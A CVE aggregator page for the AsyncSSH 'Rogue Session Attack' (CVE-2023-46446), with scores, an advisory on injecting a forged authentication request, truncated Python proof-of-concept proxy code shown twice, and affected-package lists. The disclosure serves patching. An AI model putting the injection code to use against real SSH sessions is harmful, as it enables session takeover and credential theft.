Every CVE Search/ Get API key

CVE-2023-46446

AsyncSSH Rogue Session Attack

6.8 MediumFix available

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.87%Up 0.8 points since Nov 14, 2023
90%50%10%1%

What each source reports

NVD Score used 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
CVE-2023-46446
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-639
Updated
2026-11-02
CVE List 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
CVE-2023-46446
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-639
Updated
2026-11-02
EUVDEUVD-2023-0046 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
EUVD-2023-0046
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-c35q-ffpf-5qpm 8.1

AsyncSSH Rogue Session Attack

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Details

The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.

The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.

PoC

<details> <summary>AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)</summary>

#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep

##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305)            ##
##                                                                              ##
## Variant: Unmodified variant (EXT_INFO by client required)                    ##
##                                                                              ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                 ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                 ##
##                                                                              ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60

newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
    return newkeys_payload in data

rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
    newkeys_index = data.index(newkeys_payload)
    # Insert rogue authentication request and remove SSH_MSG_EXT_INFO
    return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]

def forward_client_to_server(client_socket,…
Record
GHSA-c35q-ffpf-5qpm
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-345, CWE-349, CWE-354, CWE-359, CWE-639
Updated
2026-11-02
OSV 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
CVE-2023-46446
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVDEBIAN-CVE-2023-46446 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
DEBIAN-CVE-2023-46446
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-c35q-ffpf-5qpm 8.1

AsyncSSH Rogue Session Attack

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Details

The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.

The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.

PoC

<details> <summary>AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)</summary>

#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep

##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305)            ##
##                                                                              ##
## Variant: Unmodified variant (EXT_INFO by client required)                    ##
##                                                                              ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                 ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                 ##
##                                                                              ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60

newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
    return newkeys_payload in data

rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
    newkeys_index = data.index(newkeys_payload)
    # Insert rogue authentication request and remove SSH_MSG_EXT_INFO
    return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]

def forward_client_to_server(client_socket,…
Record
GHSA-c35q-ffpf-5qpm
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-345, CWE-349, CWE-354, CWE-359, CWE-639
Updated
2026-11-02
OSVPYSEC-2023-239 6.8

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Record
PYSEC-2023-239
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2025:4664 9.1

Red Hat Security Advisory: Red Hat Ceph Storage 7.1 security, bug fix, and enhancement updates

Record
RHSA-2025:4664
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2023-46446 6.8

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Record
UBUNTU-CVE-2023-46446
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVUSN-7108-1 No score

python-asyncssh vulnerabilities

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)

Record
USN-7108-1
Updated
2026-11-02
OSVUSN-7108-2 No score

python-asyncssh vulnerabilities

USN-7108-1 fixed vulnerabilities in AysncSSH. This update provides the corresponding update for Ubuntu 18.04 LTS.

Original advisory details:

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)

Record
USN-7108-2
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
asyncssh
PyPI
before 2.14.1
2.14.1
python-asyncssh
Debian:12
before 2.10.1-2+deb12u2, plus listed versions
2.10.1-22.10.1-2+deb12u1
2.10.1-2+deb12u2
python-asyncssh
Debian:13
before 2.15.0-1
2.15.0-1
python-asyncssh
Debian:14
before 2.15.0-1
2.15.0-1
python-asyncssh
Debian:11
From an advisory covering 3 CVEs
before 2.5.0-0.1+deb11u1, plus listed versions
2.5.0-0.1
2.5.0-0.1+deb11u1
asyncssh
PyPI
before 2.14.1, plus listed versions
0.8.10.8.20.8.30.8.40.9.0
Show 45 moreShow less
0.9.10.9.21.0.01.0.11.1.01.1.11.10.01.10.11.11.01.11.11.12.01.12.11.12.21.13.01.13.11.13.21.13.31.14.01.15.01.15.11.16.01.16.11.17.01.17.11.18.01.2.01.2.11.3.01.3.11.3.21.4.01.4.11.5.01.5.11.5.21.5.31.5.41.5.51.5.61.6.01.6.11.6.21.7.11.7.21.7.3
2.14.1
liboath
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
liboath-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
libpskc-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
oath-toolkit
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
Show 133 moreShow less
Affected packages
PackageAffectedFixed
oath-toolkit-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
oath-toolkit-debugsource
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
oathtool-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
pam_oath-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
pskctool-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 0:2.6.12-1.el8cp
0:2.6.12-1.el8cp
liboath
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
liboath-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
libpskc-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
oath-toolkit
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
oath-toolkit-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
oath-toolkit-debugsource
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
oathtool-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
pam_oath-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
pskctool-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 0:2.6.12-1.el9cp
0:2.6.12-1.el9cp
ceph
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-base
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-base-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-common
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-common-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-debugsource
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-exporter-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-fuse
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-fuse-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-immutable-object-cache
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-immutable-object-cache-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-mds-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-mgr-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-mib
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-mon-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-osd-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-radosgw-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-resource-agents
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-selinux
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph-test-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
cephfs-mirror-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
cephfs-top
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libcephfs-devel
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libcephfs2
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libcephfs2-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libcephsqlite-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librados-devel
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librados-devel-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librados2
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librados2-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libradospp-devel
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libradosstriper1
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
libradosstriper1-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librbd-devel
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librbd1
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librbd1-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librgw-devel
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librgw2
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
librgw2-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-ceph-argparse
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-ceph-common
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-cephfs
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-cephfs-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rados
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rados-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rbd
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rbd-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rgw
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
python3-rgw-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
rbd-fuse-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
rbd-mirror-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
rbd-nbd
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
rbd-nbd-debuginfo
Red Hat:ceph_storage:7.1::el8
From an advisory covering 9 CVEs
before 2:18.2.1-329.el8cp
2:18.2.1-329.el8cp
ceph
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-base
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-base-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-common
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-common-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-debugsource
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-exporter-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-fuse
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-fuse-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-immutable-object-cache
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-immutable-object-cache-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-mds-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-mgr-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-mib
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-mon-client-nvmeof-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-mon-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-osd-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-radosgw-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-resource-agents
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-selinux
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
ceph-test-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
cephadm
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
cephfs-mirror-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
cephfs-top
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libcephfs-devel
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libcephfs2
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libcephfs2-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libcephsqlite-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librados-devel
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librados-devel-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librados2
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librados2-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libradospp-devel
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libradosstriper1
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
libradosstriper1-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librbd-devel
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librbd1
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librbd1-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librgw-devel
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librgw2
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
librgw2-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-ceph-argparse
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-ceph-common
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-cephfs
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-cephfs-debuginfo
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
python3-rados
Red Hat:ceph_storage:7.1::el9
From an advisory covering 9 CVEs
before 2:18.2.1-329.el9cp
2:18.2.1-329.el9cp
